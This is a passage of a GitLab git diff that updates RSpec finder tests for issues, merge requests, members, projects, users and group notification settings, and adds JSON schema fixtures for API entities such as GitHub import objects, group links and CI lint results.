+ it 'finds both issue records' do
+ expect(issues).to contain_exactly(issue1, issue2)
+ end
end
end
- context 'filtering by any label' do
- let(:params) { { label_name: described_class::Params::FILTER_ANY } }
+ context 'when `optimized_issuable_label_filter` feature flag is off' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: false)
+ end
- it 'returns issues that have one or more label' do
- create_list(:label_link, 2, label: create(:label, project: project2), target: issue3)
+ it_behaves_like ':label_name parameter'
+ end
- expect(issues).to contain_exactly(issue2, issue3)
+ context 'when `optimized_issuable_label_filter` feature flag is on' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: true)
end
+
+ it_behaves_like ':label_name parameter'
end
context 'filtering by issue term' do
@@ -949,10 +989,6 @@ RSpec.describe IssuesFinder do
describe '#use_cte_for_search?' do
let(:finder) { described_class.new(nil, params) }
- before do
- stub_feature_flags(attempt_group_search_optimizations: true)
- end
-
context 'when there is no search param' do
let(:params) { { attempt_group_search_optimizations: true } }
@@ -969,47 +1005,50 @@ RSpec.describe IssuesFinder do
end
end
- context 'when the attempt_group_search_optimizations flag is disabled' do
- let(:params) { { search: 'foo', attempt_group_search_optimizations: true } }
+ context 'when all conditions are met' do
+ context "uses group search optimization" do
+ let(:params) { { search: 'foo', attempt_group_search_optimizations: true } }
- before do
- stub_feature_flags(attempt_group_search_optimizations: false)
+ it 'returns true' do
+ expect(finder.use_cte_for_search?).to be_truthy
+ end
end
- it 'returns false' do
- expect(finder.use_cte_for_search?).to be_falsey
+ context "uses project search optimization" do
+ let(:params) { { search: 'foo', attempt_project_search_optimizations: true } }
+
+ it 'returns true' do
+ expect(finder.use_cte_for_search?).to be_truthy
+ end
end
end
+ end
- context 'when attempt_group_search_optimizations is unset and attempt_project_search_optimizations is set' do
- let(:params) { { search: 'foo', attempt_project_search_optimizations: true } }
+ describe '#parent_param=' do
+ let(:finder) { described_class.new(nil) }
- context 'and the corresponding feature flag is disabled' do
- before do
- stub_feature_flags(attempt_project_search_optimizations: false)
- end
+ subject { finder.parent_param = obj }
- it 'returns false' do
- expect(finder.use_cte_for_search?).to be_falsey
- end
- end
+ where(:klass, :param) do
+ :Project | :project_id
+ :Group | :group_id
+ end
- context 'and the corresponding feature flag is enabled' do
- before do
- stub_feature_flags(attempt_project_search_optimizations: true)
- end
+ with_them do
+ let(:obj) { Object.const_get(klass, false).new }
- it 'returns true' do
- expect(finder.use_cte_for_search?).to be_truthy
- end
+ it 'sets the params' do
+ subject
+
+ expect(finder.params[param]).to eq(obj)
end
end
- context 'when all conditions are met' do
- let(:params) { { search: 'foo', attempt_group_search_optimizations: true } }
+ context 'unexpected parent' do
+ let(:obj) { MergeRequest.new }
- it 'returns true' do
- expect(finder.use_cte_for_search?).to be_truthy
+ it 'raises an error' do
+ expect { subject }.to raise_error('Unexpected parent: MergeRequest')
end
end
end
diff --git a/spec/finders/members_finder_spec.rb b/spec/finders/members_finder_spec.rb
index 3ef8d6a01aa..3530858e2de 100644
--- a/spec/finders/members_finder_spec.rb
+++ b/spec/finders/members_finder_spec.rb
@@ -45,6 +45,18 @@ RSpec.describe MembersFinder, '#execute' do
expect(result).to contain_exactly(member1)
end
+ it 'does not return members of parent group with minimal access' do
+ nested_group.request_access(user1)
+ member1 = group.add_maintainer(user2)
+ member2 = nested_group.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
+ create(:group_member, :minimal_access, user: create(:user), source: group)
+
+ result = described_class.new(project, user2).execute
+
+ expect(result).to contain_exactly(member1, member2, member3)
+ end
+
it 'includes only non-invite members if user do not have amdin permissions on project' do
create(:project_member, :invited, project: project, invite_email: create(:user).email)
member1 = project.add_maintainer(user1)
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index 5b86c891e47..4f86323c7c6 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -167,38 +167,56 @@ RSpec.describe MergeRequestsFinder do
end
end
- describe ':label_name parameter' do
- let(:common_labels) { create_list(:label, 3) }
- let(:distinct_labels) { create_list(:label, 3) }
- let(:merge_requests) do
- common_attrs = {
- source_project: project1, target_project: project1, author: user
- }
- distinct_labels.map do |label|
- labels = [label, *common_labels]
- create(:labeled_merge_request, :closed, labels: labels, **common_attrs)
+ shared_examples ':label_name parameter' do
+ describe ':label_name parameter' do
+ let(:common_labels) { create_list(:label, 3) }
+ let(:distinct_labels) { create_list(:label, 3) }
+ let(:merge_requests) do
+ common_attrs = {
+ source_project: project1, target_project: project1, author: user
+ }
+ distinct_labels.map do |label|
+ labels = [label, *common_labels]
+ create(:labeled_merge_request, :closed, labels: labels, **common_attrs)
+ end
end
- end
- def find(label_name)
- described_class.new(user, label_name: label_name).execute
- end
+ def find(label_name)
+ described_class.new(user, label_name: label_name).execute
+ end
+
+ it 'accepts a single label' do
+ found = find(distinct_labels.first.title)
+ common = find(common_labels.first.title)
+
+ expect(found).to contain_exactly(merge_requests.first)
+ expect(common).to match_array(merge_requests)
+ end
- it 'accepts a single label' do
- found = find(distinct_labels.first.title)
- common = find(common_labels.first.title)
+ it 'accepts an array of labels, all of which must match' do
+ all_distinct = find(distinct_labels.pluck(:title))
+ all_common = find(common_labels.pluck(:title))
- expect(found).to contain_exactly(merge_requests.first)
- expect(common).to match_array(merge_requests)
+ expect(all_distinct).to be_empty
+ expect(all_common).to match_array(merge_requests)
+ end
+ end
+ end
+
+ context 'when `optimized_issuable_label_filter` feature flag is off' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: false)
end
- it 'accepts an array of labels, all of which must match' do
- all_distinct = find(distinct_labels.pluck(:title))
- all_common = find(common_labels.pluck(:title))
+ it_behaves_like ':label_name parameter'
+ end
- expect(all_distinct).to be_empty
- expect(all_common).to match_array(merge_requests)
+ context 'when `optimized_issuable_label_filter` feature flag is on' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: true)
end
+
+ it_behaves_like ':label_name parameter'
end
it 'filters by source project id' do
diff --git a/spec/finders/projects_finder_spec.rb b/spec/finders/projects_finder_spec.rb
index 29b6dc61386..8ae19757c25 100644
--- a/spec/finders/projects_finder_spec.rb
+++ b/spec/finders/projects_finder_spec.rb
@@ -234,10 +234,40 @@ RSpec.describe ProjectsFinder, :do_not_mock_admin_mode do
end
describe 'filter by without_deleted' do
- let(:params) { { without_deleted: true } }
- let!(:pending_delete_project) { create(:project, :public, pending_delete: true) }
+ let_it_be(:pending_delete_project) { create(:project, :public, pending_delete: true) }
- it { is_expected.to match_array([public_project, internal_project]) }
+ let(:params) { { without_deleted: without_deleted } }
+
+ shared_examples 'returns all projects' do
+ it { expect(subject).to include(public_project, internal_project, pending_delete_project) }
+ end
+
+ context 'when without_deleted is true' do
+ let(:without_deleted) { true }
+
+ it 'returns projects that are not pending_delete' do
+ expect(subject).not_to include(pending_delete_project)
+ expect(subject).to include(public_project, internal_project)
+ end
+ end
+
+ context 'when without_deleted is false' do
+ let(:without_deleted) { false }
+
+ it_behaves_like 'returns all projects'
+ end
+
+ context 'when without_deleted is nil' do
+ let(:without_deleted) { nil }
+
+ it_behaves_like 'returns all projects'
+ end
+
+ context 'when without_deleted is not present' do
+ let(:params) { {} }
+
+ it_behaves_like 'returns all projects'
+ end
end
describe 'filter by last_activity_after' do
diff --git a/spec/finders/user_group_notification_settings_finder_spec.rb b/spec/finders/user_group_notification_settings_finder_spec.rb
new file mode 100644
index 00000000000..453da691866
--- /dev/null
+++ b/spec/finders/user_group_notification_settings_finder_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe UserGroupNotificationSettingsFinder do
+ let_it_be(:user) { create(:user) }
+
+ subject { described_class.new(user, Group.where(id: groups.map(&:id))).execute }
+
+ def attributes(&proc)
+ subject.map(&proc).uniq
+ end
+
+ context 'when the groups have no existing notification settings' do
+ context 'when the groups have no ancestors' do
+ let_it_be(:groups) { create_list(:group, 3) }
+
+ it 'will be a default Global notification setting', :aggregate_failures do
+ expect(subject.count).to eq(3)
+ expect(attributes(&:notification_email)).to eq([nil])
+ expect(attributes(&:level)).to eq(['global'])
+ end
+ end
+
+ context 'when the groups have ancestors' do
+ context 'when an ancestor has a level other than Global' do
+ let_it_be(:ancestor_a) { create(:group) }
+ let_it_be(:group_a) { create(:group, parent: ancestor_a) }
+ let_it_be(:ancestor_b) { create(:group) }
+ let_it_be(:group_b) { create(:group, parent: ancestor_b) }
+ let_it_be(:email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+
+ let_it_be(:groups) { [group_a, group_b] }
+
+ before do
+ create(:notification_setting, user: user, source: ancestor_a, level: 'participating', notification_email: email.email)
+ create(:notification_setting, user: user, source: ancestor_b, level: 'participating', notification_email: email.email)
+ end
+
+ it 'has the same level set' do
+ expect(attributes(&:level)).to eq(['participating'])
+ end
+
+ it 'has the same email set' do
+ expect(attributes(&:notification_email)).to eq(['ancestor@example.com'])
+ end
+
+ it 'only returns the two queried groups' do
+ expect(subject.count).to eq(2)
+ end
+ end
+
+ context 'when an ancestor has a Global level but has an email set' do
+ let_it_be(:grand_ancestor) { create(:group) }
+ let_it_be(:ancestor) { create(:group, parent: grand_ancestor) }
+ let_it_be(:group) { create(:group, parent: ancestor) }
+ let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+ let_it_be(:grand_email) { create(:email, :confirmed, email: 'grand@example.com', user: user) }
+
+ let_it_be(:groups) { [group] }
+
+ before do
+ create(:notification_setting, user: user, source: grand_ancestor, level: 'participating', notification_email: grand_email.email)
+ create(:notification_setting, user: user, source: ancestor, level: 'global', notification_email: ancestor_email.email)
+ end
+
+ it 'has the same email and level set', :aggregate_failures do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to eq(['global'])
+ expect(attributes(&:notification_email)).to eq(['ancestor@example.com'])
+ end
+ end
+
+ context 'when the group has parent_id set but that does not belong to any group' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:groups) { [group] }
+
+ before do
+ # Let's set a parent_id for a group that definitely doesn't exist
+ group.update_columns(parent_id: 19283746)
+ end
+
+ it 'returns a default Global notification setting' do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to eq(['global'])
+ expect(attributes(&:notification_email)).to eq([nil])
+ end
+ end
+
+ context 'when the group has a private parent' do
+ let_it_be(:ancestor) { create(:group, :private) }
+ let_it_be(:group) { create(:group, :private, parent: ancestor) }
+ let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+ let_it_be(:groups) { [group] }
+
+ before do
+ group.add_reporter(user)
+ # Adding the user creates a NotificationSetting, so we remove it here
+ user.notification_settings.where(source: group).delete_all
+
+ create(:notification_setting, user: user, source: ancestor, level: 'participating', notification_email: ancestor_email.email)
+ end
+
+ it 'still inherits the notification settings' do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to eq(['participating'])
+ expect(attributes(&:notification_email)).to eq([ancestor_email.email])
+ end
+ end
+
+ it 'does not cause an N+1', :aggregate_failures do
+ parent = create(:group)
+ child = create(:group, parent: parent)
+
+ control = ActiveRecord::QueryRecorder.new do
+ described_class.new(user, Group.where(id: child.id)).execute
+ end
+
+ other_parent = create(:group)
+ other_children = create_list(:group, 2, parent: other_parent)
+
+ result = nil
+
+ expect do
+ result = described_class.new(user, Group.where(id: other_children.append(child).map(&:id))).execute
+ end.not_to exceed_query_limit(control)
+
+ expect(result.count).to eq(3)
+ end
+ end
+ end
+end
diff --git a/spec/finders/users_finder_spec.rb b/spec/finders/users_finder_spec.rb
index 17b36247b05..a04f5452fcd 100644
--- a/spec/finders/users_finder_spec.rb
+++ b/spec/finders/users_finder_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe UsersFinder do
it 'returns all users' do
users = described_class.new(user).execute
- expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user)
+ expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user, internal_user)
end
it 'filters by username' do
@@ -54,7 +54,7 @@ RSpec.describe UsersFinder do
it 'returns no external users' do
users = described_class.new(user, external: true).execute
- expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user)
+ expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user, internal_user)
end
it 'filters by created_at' do
@@ -68,19 +68,25 @@ RSpec.describe UsersFinder do
expect(users.map(&:username)).not_to include([filtered_user_before.username, filtered_user_after.username])
end
+ it 'filters by non internal users' do
+ users = described_class.new(user, non_internal: true).execute
+
+ expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user)
+ end
+
it 'does not filter by custom attributes' do
users = described_class.new(
user,
custom_attributes: { foo: 'bar' }
).execute
- expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user)
+ expect(users).to contain_exactly(user, normal_user, blocked_user, omniauth_user, internal_user)
end
it 'orders returned results' do
users = described_class.new(user, sort: 'id_asc').execute
- expect(users).to eq([normal_user, blocked_user, omniauth_user, user])
+ expect(users).to eq([normal_user, blocked_user, omniauth_user, internal_user, user])
end
end
@@ -96,13 +102,14 @@ RSpec.describe UsersFinder do
it 'returns all users' do
users = described_class.new(admin).execute
- expect(users).to contain_exactly(admin, normal_user, blocked_user, external_user, omniauth_user)
+ expect(users).to contain_exactly(admin, normal_user, blocked_user, external_user, omniauth_user, internal_user)
end
it 'filters by custom attributes' do
create :user_custom_attribute, user: normal_user, key: 'foo', value: 'foo'
create :user_custom_attribute, user: normal_user, key: 'bar', value: 'bar'
create :user_custom_attribute, user: blocked_user, key: 'foo', value: 'foo'
+ create :user_custom_attribute, user: internal_user, key: 'foo', value: 'foo'
users = described_class.new(
admin,
diff --git a/spec/fixtures/api/schemas/entities/discussion.json b/spec/fixtures/api/schemas/entities/discussion.json
index 21d8efe0b2b..2afabcc9195 100644
--- a/spec/fixtures/api/schemas/entities/discussion.json
+++ b/spec/fixtures/api/schemas/entities/discussion.json
@@ -60,6 +60,9 @@
"resolve_with_issue_path": { "type": "string" },
"cached_markdown_version": { "type": "integer" },
"human_access": { "type": ["string", "null"] },
+ "is_noteable_author": { "type": "boolean" },
+ "is_contributor": { "type": "boolean" },
+ "project_name": { "type": "string" },
"toggle_award_path": { "type": "string" },
"path": { "type": "string" },
"commands_changes": { "type": "object", "additionalProperties": true },
diff --git a/spec/fixtures/api/schemas/entities/github/branches.json b/spec/fixtures/api/schemas/entities/github/branches.json
new file mode 100644
index 00000000000..ee3da3704f3
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/branches.json
@@ -0,0 +1,16 @@
+{
+ "type": "array",
+ "properties" : {
+ "name": { "type": "string" },
+ "commit": {
+ "type": "object",
+ "required": ["sha", "type"],
+ "properties" : {
+ "sha": { "type": "string" },
+ "type": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "additionalProperties": false
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/github/commit.json b/spec/fixtures/api/schemas/entities/github/commit.json
new file mode 100644
index 00000000000..698d933be07
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/commit.json
@@ -0,0 +1,61 @@
+{
+ "type": "object",
+ "properties" : {
+ "sha": { "type": "string" },
+ "parents": {
+ "type": "array",
+ "properties": {
+ "sha": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "author": {
+ "type": "object",
+ "required": ["login", "email"],
+ "properties" : {
+ "login": { "type": ["string", "null"] },
+ "email": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "committer": {
+ "type": "object",
+ "required": ["login", "email"],
+ "properties" : {
+ "login": { "type": ["string", "null"] },
+ "email": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "commit": {
+ "type": "object",
+ "properties": {
+ "message": { "type": "string" },
+ "author": {
+ "type": "object",
+ "required": ["name", "email", "date", "type"],
+ "properties" : {
+ "name": { "type": "string" },
+ "email": { "type": "string" },
+ "date": { "type": "date" },
+ "type": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "committer": {
+ "type": "object",
+ "required": ["name", "email", "date", "type"],
+ "properties" : {
+ "name": { "type": "string" },
+ "email": { "type": "string" },
+ "date": { "type": "date" },
+ "type": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "additionalProperties": false
+ }
+ },
+ "additionalProperties": false
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/github/pull_request.json b/spec/fixtures/api/schemas/entities/github/pull_request.json
new file mode 100644
index 00000000000..6c24879b800
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/pull_request.json
@@ -0,0 +1,108 @@
+{
+ "type": "object",
+ "properties": {
+ "title": {
+ "type": "string"
+ },
+ "created_at": {
+ "type": "string"
+ },
+ "body": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "id": {
+ "type": "integer"
+ },
+ "number": {
+ "type": "integer"
+ },
+ "state": {
+ "type": "string"
+ },
+ "html_url": {
+ "type": "string"
+ },
+ "merged": {
+ "type": "boolean"
+ },
+ "merged_at": {
+ "type": [
+ "date",
+ "null"
+ ]
+ },
+ "closed_at": {
+ "type": [
+ "date",
+ "null"
+ ]
+ },
+ "updated_at": {
+ "type": "date"
+ },
+ "assignee": {
+ "$ref": "user.json"
+ },
+ "author": {
+ "$ref": "user.json"
+ },
+ "head": {
+ "type": "object",
+ "required": [
+ "label",
+ "ref",
+ "repo"
+ ],
+ "properties": {
+ "label": {
+ "type": "string"
+ },
+ "ref": {
+ "type": "string"
+ },
+ "repo": {
+ "oneOf": [
+ {
+ "type": "null"
+ },
+ {
+ "$ref": "repository.json"
+ }
+ ]
+ }
+ },
+ "additionalProperties": false
+ },
+ "base": {
+ "type": "object",
+ "required": [
+ "label",
+ "ref",
+ "repo"
+ ],
+ "properties": {
+ "label": {
+ "type": "string"
+ },
+ "ref": {
+ "type": "string"
+ },
+ "repo": {
+ "oneOf": [
+ {
+ "type": "null"
+ },
+ {
+ "$ref": "repository.json"
+ }
+ ]
+ }
+ },
+ "additionalProperties": false
+ },
+ "additionalProperties": false
+ }
+} \ No newline at end of file
diff --git a/spec/fixtures/api/schemas/entities/github/pull_requests.json b/spec/fixtures/api/schemas/entities/github/pull_requests.json
new file mode 100644
index 00000000000..4dddeb5fa20
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/pull_requests.json
@@ -0,0 +1,6 @@
+{
+ "type": "array",
+ "items": {
+ "$ref": "pull_request.json"
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/github/repositories.json b/spec/fixtures/api/schemas/entities/github/repositories.json
new file mode 100644
index 00000000000..26457901ef2
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/repositories.json
@@ -0,0 +1,16 @@
+{
+ "type": "array",
+ "properties" : {
+ "id": { "type": "integer" },
+ "name": { "type": "string" },
+ "owner": {
+ "type": "object",
+ "required": ["login"],
+ "properties" : {
+ "login": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "additionalProperties": false
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/github/repository.json b/spec/fixtures/api/schemas/entities/github/repository.json
new file mode 100644
index 00000000000..44d7d059140
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/repository.json
@@ -0,0 +1,16 @@
+{
+ "type": "object",
+ "properties": {
+ "id": { "type": "integer" },
+ "name": { "type": "string" },
+ "owner": {
+ "type": "object",
+ "required": ["login"],
+ "properties" : {
+ "login": { "type": "string" }
+ },
+ "additionalProperties": false
+ },
+ "additionalProperties": false
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/github/user.json b/spec/fixtures/api/schemas/entities/github/user.json
new file mode 100644
index 00000000000..3d772a0c648
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/github/user.json
@@ -0,0 +1,13 @@
+{
+ "type": "object",
+ "required": ["id", "login", "url", "avatar_url"],
+ "properties" : {
+ "id": { "type": "integer" },
+ "login": { "type": "string" },
+ "url": { "type": "string" },
+ "avatar_url": { "type": "string" },
+ "html_url": { "type": "string" }
+ },
+ "additionalProperties": false
+}
+
diff --git a/spec/fixtures/api/schemas/entities/group_group_link.json b/spec/fixtures/api/schemas/entities/group_group_link.json
new file mode 100644
index 00000000000..4c9aae140d2
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/group_group_link.json
@@ -0,0 +1,29 @@
+{
+ "type": "object",
+ "required": ["id", "created_at", "expires_at", "access_level"],
+ "properties": {
+ "id": { "type": "integer" },
+ "created_at": { "type": "date-time" },
+ "expires_at": { "type": ["date-time", "null"] },
+ "access_level": {
+ "type": "object",
+ "required": ["integer_value", "string_value"],
+ "properties": {
+ "integer_value": { "type": "integer" },
+ "string_value": { "type": "string" }
+ }
+ },
+ "shared_with_group": {
+ "type": "object",
+ "required": ["id", "name", "full_name", "full_path", "avatar_url", "web_url"],
+ "properties": {
+ "id": { "type": "integer" },
+ "name": { "type": "string" },
+ "full_name": { "type": "string" },
+ "full_path": { "type": "string" },
+ "avatar_url": { "type": ["string", "null"] },
+ "web_url": { "type": "string" }
+ }
+ }
+ }
+}
diff --git a/spec/fixtures/api/schemas/entities/issue_sidebar.json b/spec/fixtures/api/schemas/entities/issue_sidebar.json
index 93adb493d1b..717eb4992ea 100644
--- a/spec/fixtures/api/schemas/entities/issue_sidebar.json
+++ b/spec/fixtures/api/schemas/entities/issue_sidebar.json
@@ -42,6 +42,9 @@
"project_labels_path": { "type": "string" },
"toggle_subscription_path": { "type": "string" },
"move_issue_path": { "type": "string" },
- "projects_autocomplete_path": { "type": "string" }
+ "projects_autocomplete_path": { "type": "string" },
+ "supports_time_tracking": { "type": "boolean" },
+ "supports_milestone": { "type": "boolean" },
+ "supports_severity": { "type": "boolean" }
}
}
diff --git a/spec/fixtures/api/schemas/entities/lint_job_entity.json b/spec/fixtures/api/schemas/entities/lint_job_entity.json
new file mode 100644
index 00000000000..b85f58d4291
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/lint_job_entity.json
@@ -0,0 +1,58 @@
+{
+ "type": "object",
+ "required": [
+ "name",
+ "stage",
+ "before_script",
+ "script",
+ "after_script",
+ "tag_list",
+ "environment",
+ "when",
+ "allow_failure",
+ "only",
+ "except"
+ ],
+ "properties": {
+ "name": {
+ "type": ["string"]
+ },
+ "stage": {
+ "type": ["string"]
+ },
+ "before_script": {
+ "type": ["array"],
+ "items": { "type": "string" }
+ },
+ "script": {
+ "type": ["array"],
+ "items": { "type": "string" }
+ },
+ "after_script": {
+ "type": ["array"],
+ "items": { "type": "string" }
+ },
+ "when": {
+ "items": { "type": ["string"] }
+ },
+ "allow_failure": {
+ "type": ["boolean"]
+ },
+ "environment": {
+ "type": ["string", null]
+ },
+ "tag_list": {
+ "type": ["array"],
+ "items": { "type": "string" }
+ },
+ "only": {
+ "type": ["array", "object", null],
+ "items": { "type": ["string", "array"]}
+ },
+ "except": {
+ "type": ["array", "object", null],
+ "items": { "type": ["string", "array"]}
+ }
+ },
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/entities/lint_result_entity.json b/spec/fixtures/api/schemas/entities/lint_result_entity.json
new file mode 100644
index 00000000000..502e1dac1ac
--- /dev/null
+++ b/spec/fixtures/api/schemas/entities/lint_result_entity.json
@@ -0,0 +1,25 @@
+{
+ "type": "object",
+ "required": ["valid", "errors", "jobs", "warnings"],
+ "properties": {
+ "errors": {
+ "type": "array",
+ "items": { "type": "string" }
+ },
+ "warnings": {
+ "type": "array",
+ "items": { "type": "string" }
+ },
+ "valid": {
+ "type": "boolean"
+ },
+ "jobs": {
+ "type": ["array", null],
+ "items": {
+ "type": "object",
+ "$ref": "lint_job_entity.json"
+ }
+ }
+ },
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/entities/merge_request_basic.json b/spec/fixtures/api/schemas/entities/merge_request_basic.json
index ac0a0314455..3c19528d71b 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_basic.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_basic.json
@@ -15,6 +15,13 @@
"$ref": "../public_api/v4/user/basic.json"
}
},
+ "reviewers": {
+ "type": ["array"],
+ "items": {
+ "type": "object",
+ "$ref": "../public_api/v4/user/basic.json"
+ }
+ },
"milestone": {
"type": [ "object", "null" ]
},
diff --git a/spec/fixtures/api/schemas/entities/merge_request_poll_cached_widget.json b/spec/fixtures/api/schemas/entities/merge_request_poll_cached_widget.json
index b40b71d2cd6..3d6b20896ce 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_poll_cached_widget.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_poll_cached_widget.json
@@ -7,8 +7,8 @@
"title": { "type": "string" },
"auto_merge_enabled": { "type": "boolean" },
"state": { "type": "string" },
- "merge_commit_sha": { "type": ["string", "null"] },
- "short_merge_commit_sha": { "type": ["string", "null"] },
+ "merged_commit_sha": { "type": ["string", "null"] },
+ "short_merged_commit_sha": { "type": ["string", "null"] },
"merge_error": { "type": ["string", "null"] },
"merge_status": { "type": "string" },
"merge_user_id": { "type": ["integer", "null"] },
@@ -40,7 +40,7 @@
"diverged_commits_count": { "type": "integer" },
"target_branch_commits_path": { "type": "string" },
"target_branch_tree_path": { "type": "string" },
- "merge_commit_path": { "type": ["string", "null"] },
+ "merged_commit_path": { "type": ["string", "null"] },
"source_branch_with_namespace_link": { "type": "string" },
"source_branch_path": { "type": "string" }
}
diff --git a/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json b/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json
index 1eda0e12920..be2fe19b067 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_poll_widget.json
@@ -22,6 +22,14 @@
"only_allow_merge_if_pipeline_succeeds": { "type": "boolean" },
"has_ci": { "type": "boolean" },
"ci_status": { "type": ["string", "null"] },
+ "pipeline_coverage_delta": { "type": ["float", "null"] },
+ "builds_with_coverage": {
+ "type": ["array", "null"],
+ "items": {
+ "type": "object",
+ "required": ["name", "coverage"]
+ }
+ },
"cancel_auto_merge_path": { "type": ["string", "null"] },
"test_reports_path": { "type": ["string", "null"] },
"create_issue_to_resolve_discussions_path": { "type": ["string", "null"] },
diff --git a/spec/fixtures/api/schemas/entities/merge_request_sidebar.json b/spec/fixtures/api/schemas/entities/merge_request_sidebar.json
index 9945de8a856..633203aed28 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_sidebar.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_sidebar.json
@@ -51,6 +51,8 @@
"project_labels_path": { "type": "string" },
"toggle_subscription_path": { "type": "string" },
"move_issue_path": { "type": "string" },
- "projects_autocomplete_path": { "type": "string" }
+ "projects_autocomplete_path": { "type": "string" },
+ "supports_time_tracking": { "type": "boolean" },
+ "supports_milestone": { "type": "boolean" }
}
}
diff --git a/spec/fixtures/api/schemas/entities/merge_request_sidebar_extras.json b/spec/fixtures/api/schemas/entities/merge_request_sidebar_extras.json
index 11076ec73de..c54ae551d6a 100644
--- a/spec/fixtures/api/schemas/entities/merge_request_sidebar_extras.json
+++ b/spec/fixtures/api/schemas/entities/merge_request_sidebar_extras.json
@@ -17,6 +17,10 @@
"assignees": {
"type": "array",
"items": { "$ref": "../public_api/v4/user/basic.json" }
+ },
+ "reviewers": {
+ "type": "array",
+ "items": { "$ref": "../public_api/v4/user/basic.json" }
}
},
"additionalProperties": false
diff --git a/spec/fixtures/api/schemas/group_group_links.json b/spec/fixtures/api/schemas/group_group_links.json
new file mode 100644
index 00000000000..f8b4e7f035b
--- /dev/null
+++ b/spec/fixtures/api/schemas/group_group_links.json
@@ -0,0 +1,6 @@
+{
+ "type": "array",
+ "items": {
+ "$ref": "entities/group_group_link.json"
+ }
+}
diff --git a/spec/fixtures/api/schemas/group_member.json b/spec/fixtures/api/schemas/group_member.json
new file mode 100644
index 00000000000..035c862d229
--- /dev/null
+++ b/spec/fixtures/api/schemas/group_member.json
@@ -0,0 +1,78 @@
+{
+ "type": "object",
+ "required": [
+ "id",
+ "created_at",
+ "expires_at",
+ "access_level",
+ "requested_at",
+ "source",
+ "can_update",
+ "can_remove",
+ "can_override"
+ ],
+ "properties": {
+ "id": { "type": "integer" },
+ "created_at": { "type": "date-time" },
+ "expires_at": { "type": ["date-time", "null"] },
+ "requested_at": { "type": ["date-time", "null"] },
+ "can_update": { "type": "boolean" },
+ "can_remove": { "type": "boolean" },
+ "can_override": { "type": "boolean" },
+ "access_level": {
+ "type": "object",
+ "required": ["integer_value", "string_value"],
+ "properties": {
+ "integer_value": { "type": "integer" },
+ "string_value": { "type": "string" }
+ }
+ },
+ "source": {
+ "type": "object",
+ "required": ["id", "name", "web_url"],
+ "properties": {
+ "id": { "type": "integer" },
+ "name": { "type": "string" },
+ "web_url": { "type": "string" }
+ }
+ },
+ "created_by": {
+ "type": "object",
+ "required": ["name", "web_url"],
+ "properties": {
+ "name": { "type": "string" },
+ "web_url": { "type": "string" }
+ }
+ },
+ "user": {
+ "type": "object",
+ "required": [
+ "id",
+ "name",
+ "username",
+ "avatar_url",
+ "web_url",
+ "blocked",
+ "two_factor_enabled"
+ ],
+ "properties": {
+ "id": { "type": "integer" },
+ "name": { "type": "string" },
+ "username": { "type": "string" },
+ "avatar_url": { "type": ["string", "null"] },
+ "web_url": { "type": "string" },
+ "blocked": { "type": "boolean" },
+ "two_factor_enabled": { "type": "boolean" }
+ }
+ },
+ "invite": {
+ "type": "object",
+ "required": ["email", "avatar_url", "can_resend"],
+ "properties": {
+ "email": { "type": "string" },
+ "avatar_url": { "type": "string" },
+ "can_resend": { "type": "boolean" }
+ }
+ }
+ }
+}
diff --git a/spec/fixtures/api/schemas/group_members.json b/spec/fixtures/api/schemas/group_members.json
new file mode 100644
